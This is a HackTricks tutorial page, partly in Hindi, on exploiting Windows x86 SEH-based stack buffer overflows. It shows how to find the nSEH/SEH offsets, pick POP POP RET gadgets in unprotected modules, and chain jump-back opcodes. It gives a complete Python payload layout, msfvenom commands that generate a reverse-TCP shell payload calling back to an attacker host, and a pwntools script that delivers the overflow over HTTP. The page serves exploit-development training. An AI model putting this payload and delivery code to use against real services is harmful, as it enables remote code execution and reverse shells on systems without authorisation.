Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)

Reading time: 7 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

SEH-based exploitation एक क्लासिक x86 Windows तकनीक है जो स्टैक पर संग्रहीत Structured Exception Handler chain का दुरुपयोग करती है। जब एक स्टैक बफ़र ओवरफ़्लो दो 4-बाइट फील्ड्स को ओवरराइट कर देता है

  • nSEH: pointer to the next SEH record, and
  • SEH: pointer to the exception handler function

एक अटैकर एक्सेक्यूशन को निम्न तरीके से नियंत्रित कर सकता है:

  1. SEH को किसी non-protected module में मौजूद POP POP RET gadget के address पर सेट करना, ताकि जब exception dispatch हो तो gadget attacker-controlled बाइट्स में लौटे, और
  2. nSEH का उपयोग करके execution को redirect करना (आमतौर पर एक short jump) ताकि यह बड़े overflowing buffer में वापस चले जाए जहाँ shellcode मौजूद होता है।

यह तकनीक 32-bit processes (x86) के लिए विशिष्ट है। आधुनिक सिस्टम पर, gadget के लिए ऐसे मॉड्यूल को प्राथमिकता दें जिनमें SafeSEH और ASLR न हो। Bad characters अक्सर 0x00, 0x0a, 0x0d (NUL/CR/LF) होते हैं, जो C-strings और HTTP parsing के कारण समस्या पैदा करते हैं।


Finding exact offsets (nSEH / SEH)

  • प्रक्रिया को क्रैश करें और सत्यापित करें कि SEH chain ओवरराइट हुआ है (उदा., x32dbg/x64dbg में SEH view चेक करें)।
  • overflowing डेटा के रूप में एक cyclic pattern भेजें और उन दो dwords के offsets निकालें जो nSEH और SEH में landen करते हैं।

Example with peda/GEF/pwntools on a 1000-byte POST body:

bash
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"

# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163   # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241   # SEH
# ➜ offsets example: nSEH=660, SEH=664

Validate by placing markers at those positions (e.g., nSEH=b"BB", SEH=b"CC"). Keep total length constant to make the crash reproducible.


Choosing a POP POP RET (SEH gadget)

SEH फ्रेम को अनवाइंड करने और अपने nSEH बाइट्स में लौटने के लिए आपको एक POP POP RET सीक्वेंस की आवश्यकता होती है। इसे ऐसे मॉड्यूल में ढूँढें जिसमें SafeSEH न हो और आदर्श रूप से ASLR भी न हो:

  • Mona (Immunity/WinDbg): !mona modules फिर !mona seh -m modulename.
  • x64dbg plugin ERC.Xdbg: ERC --SEH POP POP RET gadgets और SafeSEH status सूचीबद्ध करने के लिए।

ऐसा पता चुनें जिसमें little-endian में लिखने पर कोई badchars न हों (उदाहरण के लिए, p32(0x004094D8))। यदि सुरक्षा अनुमति देती है तो vulnerable binary के अंदर के gadgets को प्राथमिकता दें।


Jump-back technique (short + near jmp)

nSEH सिर्फ 4 बाइट का होता है, जो अधिकतम 2-बाइट का short jump (EB xx) और padding ही समा सकता है। यदि आपको अपने buffer की शुरुआत तक पहुँचने के लिए सैकड़ों बाइट पीछे कूदना पड़ता है, तो nSEH के ठीक पहले एक 5-बाइट का near jump रखें और nSEH से एक short jump के माध्यम से उसे chain करें।

nasmshell के साथ:

text
nasm> jmp -660           ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8       ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652           ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF

nSEH at offset 660 के साथ 1000-byte payload के लिए लेआउट विचार:

python
buffer_length = 1000
payload  = b"\x90"*50 + shellcode                    # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload))           # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE"     # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB"                      # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8)                           # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))

निष्पादन प्रवाह:

  • एक्सेप्शन होता है, डिस्पैचर ओवरराइट किए गए SEH का उपयोग करता है।
  • POP POP RET हमारे nSEH में अनवाइंड होता है।
  • nSEH jmp short -8 को execute करता है, जो 5-byte near jump की ओर जाता है।
  • Near jump हमारे बफ़र की शुरुआत पर land करता है जहाँ NOP sled + shellcode मौजूद हैं।

खराब कैरेक्टर्स

एक पूरा badchar string बनाएं और क्रैश के बाद stack memory से तुलना करें, उन बाइट्स को हटाते हुए जो target parser द्वारा बिगड़ गए हों। For HTTP-based overflows, \x00\x0a\x0d लगभग हमेशा बाहर होते हैं।

python
badchars = bytes([x for x in range(1,256)])
payload  = b"A"*660 + b"BBBB" + b"CCCC" + badchars  # position appropriately for your case

Shellcode generation (x86)

अपने badchars के साथ msfvenom का उपयोग करें। एक छोटा NOP sled लैंडिंग में बदलाव सहन करने में मदद करता है।

bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc

अगर आप on the fly जनरेट कर रहे हों, तो hex फ़ॉर्मेट को embed करके और Python में unhex करना सुविधाजनक रहता है:

bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex

Delivering over HTTP (precise CRLF + Content-Length)

जब vulnerable vector HTTP request body हो, तो एक raw request तैयार करें जिसमें सटीक CRLFs और Content-Length हों ताकि server पूरे overflowing body को पढ़ ले।

python
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000  # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close

""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()

Tooling

  • x32dbg/x64dbg — SEH chain को observe करने और triage the crash के लिए।
  • ERC.Xdbg (x64dbg plugin) — SEH gadgets enumerate करने के लिए: ERC --SEH.
  • Mona as an alternative: !mona modules, !mona seh.
  • nasmshell — short/near jumps assemble करने और raw opcodes copy करने के लिए।
  • pwntools — सटीक network payloads craft करने के लिए।

नोट्स और चेतावनियाँ

  • केवल x86 processes पर लागू होता है। x64 अलग SEH scheme उपयोग करता है और SEH-based exploitation आम तौर पर viable नहीं होता।
  • SafeSEH और ASLR से सुरक्षित न होने वाले modules में मौजूद gadgets प्राथमिकता दें; अन्यथा process में loaded कोई unprotected module खोजें।
  • जो service watchdogs crash पर स्वतः restart कर देते हैं, वे iterative exploit development को आसान बना सकते हैं।

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें